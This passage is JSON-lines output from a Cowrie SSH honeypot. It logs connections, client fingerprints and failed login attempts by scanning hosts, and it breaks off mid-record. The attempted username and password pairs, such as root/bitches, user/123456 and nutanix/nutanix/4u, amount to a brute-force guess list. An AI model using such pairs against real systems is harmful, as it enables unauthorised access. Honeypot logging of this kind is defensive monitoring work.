{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:10:47.552357Z","src_ip":"163.7.9.84","session":"5f773b9c026e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bitches","message":"login attempt [root/bitches] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:10:48.553455Z","src_ip":"163.7.9.84","session":"5f773b9c026e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":59402,"dst_ip":"10.17.0.5","dst_port":22,"session":"e7b3e9596e56","protocol":"ssh","message":"New connection: 43.163.119.215:59402 (10.17.0.5:22) [session: e7b3e9596e56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:10:48.880921Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:10:48.886332Z","src_ip":"43.163.119.215","session":"e7b3e9596e56","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:10:49.124719Z","src_ip":"43.163.119.215","session":"e7b3e9596e56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:10:49.799819Z","src_ip":"163.7.9.84","session":"5f773b9c026e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"username","password":"username","message":"login attempt [username/username] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:10:49.842467Z","src_ip":"43.163.119.215","session":"e7b3e9596e56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:10:51.082967Z","src_ip":"43.163.119.215","session":"e7b3e9596e56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":38140,"dst_ip":"10.17.0.5","dst_port":22,"session":"0d55dbc04aa7","protocol":"ssh","message":"New connection: 43.163.119.215:38140 (10.17.0.5:22) [session: 0d55dbc04aa7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:10:54.605365Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:10:54.610230Z","src_ip":"43.163.119.215","session":"0d55dbc04aa7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:10:54.847732Z","src_ip":"43.163.119.215","session":"0d55dbc04aa7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nutanix","password":"nutanix/4u","message":"login attempt [nutanix/nutanix/4u] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:10:55.560517Z","src_ip":"43.163.119.215","session":"0d55dbc04aa7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.83.196.237","src_port":50878,"dst_ip":"159.203.135.109","dst_port":22,"session":"787f8071d4c0","protocol":"ssh","message":"New connection: 154.83.196.237:50878 (159.203.135.109:22) [session: 787f8071d4c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:10:55.727768Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:10:55.732350Z","src_ip":"154.83.196.237","session":"787f8071d4c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:10:55.852440Z","src_ip":"154.83.196.237","session":"787f8071d4c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd-sync","password":"warnight","message":"login attempt [systemd-sync/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:10:56.363598Z","src_ip":"154.83.196.237","session":"787f8071d4c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:10:56.800090Z","src_ip":"43.163.119.215","session":"0d55dbc04aa7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:10:57.489156Z","src_ip":"154.83.196.237","session":"787f8071d4c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":44802,"dst_ip":"159.203.135.109","dst_port":22,"session":"6d1d600bc8c8","protocol":"ssh","message":"New connection: 103.75.199.4:44802 (159.203.135.109:22) [session: 6d1d600bc8c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:10:57.942876Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:10:57.947693Z","src_ip":"103.75.199.4","session":"6d1d600bc8c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:10:58.039588Z","src_ip":"103.75.199.4","session":"6d1d600bc8c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123456","message":"login attempt [user/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:10:58.314620Z","src_ip":"103.75.199.4","session":"6d1d600bc8c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:10:59.409514Z","src_ip":"103.75.199.4","session":"6d1d600bc8c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":35590,"dst_ip":"10.17.0.5","dst_port":22,"session":"6bd4139e6f0f","protocol":"ssh","message":"New connection: 43.163.119.215:35590 (10.17.0.5:22) [session: 6bd4139e6f0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:11:07.413963Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:11:07.418287Z","src_ip":"43.163.119.215","session":"6bd4139e6f0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:11:07.664102Z","src_ip":"43.163.119.215","session":"6bd4139e6f0f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo14","password":"odoo14","message":"login attempt [odoo14/odoo14] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:11:08.403062Z","src_ip":"43.163.119.215","session":"6bd4139e6f0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:11:09.653113Z","src_ip":"43.163.119.215","session":"6bd4139e6f0f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"205.209.121.72","src_port":44302,"dst_ip":"10.17.0.5","dst_port":22,"session":"03f9648b90f0","protocol":"ssh","message":"New connection: 205.209.121.72:44302 (10.17.0.5:22) [session: 03f9648b90f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:11:15.191018Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:11:15.197057Z","src_ip":"205.209.121.72","session":"03f9648b90f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:11:15.202453Z","src_ip":"205.209.121.72","session":"03f9648b90f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"udev-monitor","password":"warnight","message":"login attempt [udev-monitor/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:11:15.259735Z","src_ip":"205.209.121.72","session":"03f9648b90f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:11:16.269222Z","src_ip":"205.209.121.72","session":"03f9648b90f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":33530,"dst_ip":"159.203.135.109","dst_port":22,"session":"0373ef549a32","protocol":"ssh","message":"New connection: 103.75.199.4:33530 (159.203.135.109:22) [session: 0373ef549a32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:11:19.775932Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:11:19.780647Z","src_ip":"103.75.199.4","session":"0373ef549a32","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:11:19.876631Z","src_ip":"103.75.199.4","session":"0373ef549a32","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"minecraft","message":"login attempt [minecraft/minecraft] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:11:20.164873Z","src_ip":"103.75.199.4","session":"0373ef549a32","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.185.132.46","src_port":57410,"dst_ip":"10.17.0.5","dst_port":22,"session":"3afaba6b2db2","protocol":"ssh","message":"New connection: 147.185.132.46:57410 (10.17.0.5:22) [session: 3afaba6b2db2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:11:20.220864Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-ZGrab ZGrab SSH Survey","message":"Remote SSH version: SSH-2.0-ZGrab ZGrab SSH Survey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:11:20.856207Z","src_ip":"147.185.132.46","session":"3afaba6b2db2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:11:21.262446Z","src_ip":"103.75.199.4","session":"0373ef549a32","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"dd9bcf093c355da7000132131cb36fd0","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se;hmac-md5-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-ripemd160-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,hmac-md5,hmac-sha1,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96;none,zlib@openssh.com,zlib","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-rsa-cert-v00@openssh.com","ssh-dss-cert-v00@openssh.com","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","aes192-cbc","aes256-cbc",